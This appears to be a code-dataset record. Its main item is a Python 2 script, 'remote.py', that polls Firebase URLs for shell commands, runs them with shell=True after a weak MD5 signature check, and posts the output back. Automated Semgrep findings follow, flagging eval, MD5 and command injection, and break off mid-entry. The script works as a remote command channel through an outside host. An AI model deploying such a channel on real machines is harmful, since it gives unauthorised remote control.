["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 37 ]
[ 37 ]
[ 5 ]
[ 86 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
run_fit.py
/code/world/run_fit.py
predsci/PSI-CARM
MIT
2024-11-18T22:36:16.951449+00:00
1,514,372,603,000
c03fe7673db1dbd2bce186aac971a9ee33f93eb1
2
{ "blob_id": "c03fe7673db1dbd2bce186aac971a9ee33f93eb1", "branch_name": "refs/heads/master", "committer_date": 1514372603000, "content_id": "63b016f98f0e81adf661106aa09f855549120c04", "detected_licenses": [ "MIT" ], "directory_id": "2885f6041427be22918e7a39378b4b5270c3fa5d", "extension": "py", "filename": "remote.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 115465349, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2243, "license": "MIT", "license_type": "permissive", "path": "/Python/remote.py", "provenance": "stack-edu-0054.json.gz:587188", "repo_name": "lucasosouza/apps", "revision_date": 1514372603000, "revision_id": "f71146e8cddf78194b4c3313401c03cb5f842323", "snapshot_id": "cb6ad89f85c75f637d8db4c23fc557fa4715e9e8", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/lucasosouza/apps/f71146e8cddf78194b4c3313401c03cb5f842323/Python/remote.py", "visit_date": "2021-09-01T14:09:13.510885" }
2.3125
stackv2
#This is the library that is going to hold the main methods #version 1.0 completed, with signature import requests from json import loads, dumps from time import sleep import parser import subprocess import os from hashlib import md5 code_remote = os.environ['CODE_REMOTE'] bin_1 = 'https://dbc-overflow.firebaseio.com/bin/bin-1.json' response_bin_1 = 'https://dbc-overflow.firebaseio.com/bin/response-1.json' request_bin_1 = 'https://dbc-overflow.firebaseio.com/bin/request-1.json' signature_bin_1 = 'https://dbc-overflow.firebaseio.com/bin/signature-1.json' def code(text): return md5(code_remote + text).hexdigest() def get(url): return requests.get(url).text def post(url, data): return requests.put(url, data=data).text def ask(command): post(bin_1, '1') post(signature_bin_1, dumps(code(command))) print post(request_bin_1, dumps(command)) def master_server(n): bin = eval('bin_' + str(n)) response_bin = eval('response_bin_' + str(n)) print 'Master listening ...' while 1 == 1: sleep(1) switch = get(bin) if switch == '3': print '####### Response ######' print loads(get(response_bin)) post(bin, '0') def slave_server(n): bin = eval('bin_' + str(n)) request_bin = eval('request_bin_' + str(n)) response_bin = eval('response_bin_' + str(n)) signature_bin = eval('signature_bin_' + str(n)) print 'Slave listening ...' while 1 == 1: sleep(1) switch = get(bin) if switch == '1': post(bin, '2') signature = loads(get(signature_bin)) command = loads(get(request_bin)) if signature == code(command): execute(command, response_bin) else: post(response_bin, dumps('Invalid signature')) post(bin, '3') def execute(command, response_url): try: print "####### Received ######" print command print "####### Response ######" response = subprocess.check_output(command, shell=True) if response: print post(response_url, dumps(response)) else: print post(response_url, dumps('No response')) except BaseException as error: error_message = "Shit happened: {}".format(error) print post(response_url, dumps(error_message)) stages = { 0: 'non-operant', 1: 'command sent by master', 2: 'command received by slave. validating', 3: 'response sent by slave' }
82
26.35
76
17
575
python
[{"finding_id": "semgrep_rules.python.lang.security.insecure-hash-algorithm-md5_84b6dea418b88a81_e058d444", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-hash-algorithm-md5", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 9, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "title": null}, {"url": "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "title": null}, {"url": "http://2012.sharcs.org/slides/stevens.pdf", "title": null}, {"url": "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.insecure-hash-algorithm-md5", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 19, "col": 9, "offset": 587}, "end": {"line": 19, "col": 32, "offset": 610}, "extra": {"message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "metadata": {"source-rule-url": "https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/blacklists/calls.py#L59", "cwe": ["CWE-327: Use of a Broken or Risky Cryptographic Algorithm"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "bandit-code": "B303", "asvs": {"control_id": "6.2.2 Insecure Custom Algorithm", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x14-V6-Cryptography.md#v62-algorithms", "section": "V6 Stored Cryptography Verification Requirements", "version": "4"}, "references": ["https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "http://2012.sharcs.org/slides/stevens.pdf", "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html"], "category": "security", "technology": ["python"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_84b6dea418b88a81_0e66a9b6", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 9, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 22, "col": 9, "offset": 646}, "end": {"line": 22, "col": 26, "offset": 663}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_84b6dea418b88a81_889703ae", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, timeout=30)", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 9, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 22, "col": 9, "offset": 646}, "end": {"line": 22, "col": 26, "offset": 663}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_84b6dea418b88a81_6cdd0cc0", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 9, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 25, "col": 9, "offset": 699}, "end": {"line": 25, "col": 37, "offset": 727}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_84b6dea418b88a81_0f39f57b", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.put(url, data=data, timeout=30)", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 9, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 25, "col": 9, "offset": 699}, "end": {"line": 25, "col": 37, "offset": 727}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.put(url, data=data, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_84b6dea418b88a81_2e2dd505", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 33, "line_end": 33, "column_start": 8, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 33, "col": 8, "offset": 888}, "end": {"line": 33, "col": 29, "offset": 909}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_84b6dea418b88a81_286abcdd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 17, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 34, "col": 17, "offset": 926}, "end": {"line": 34, "col": 47, "offset": 956}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_84b6dea418b88a81_0b294dca", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 3, "column_end": 11, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 37, "col": 3, "offset": 1004}, "end": {"line": 37, "col": 11, "offset": 1012}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_84b6dea418b88a81_bf93da6a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 8, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 45, "col": 8, "offset": 1169}, "end": {"line": 45, "col": 29, "offset": 1190}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_84b6dea418b88a81_5c074912", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 16, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 46, "col": 16, "offset": 1206}, "end": {"line": 46, "col": 45, "offset": 1235}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_84b6dea418b88a81_8e389b41", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 47, "line_end": 47, "column_start": 17, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 47, "col": 17, "offset": 1252}, "end": {"line": 47, "col": 47, "offset": 1282}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_84b6dea418b88a81_87a7baa2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 18, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 48, "col": 18, "offset": 1300}, "end": {"line": 48, "col": 49, "offset": 1331}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_84b6dea418b88a81_5a8e190f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 3, "column_end": 11, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 51, "col": 3, "offset": 1378}, "end": {"line": 51, "col": 11, "offset": 1386}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_84b6dea418b88a81_4b43442c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 14, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/84b6dea418b88a81.py", "start": {"line": 68, "col": 14, "offset": 1810}, "end": {"line": 68, "col": 58, "offset": 1854}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", 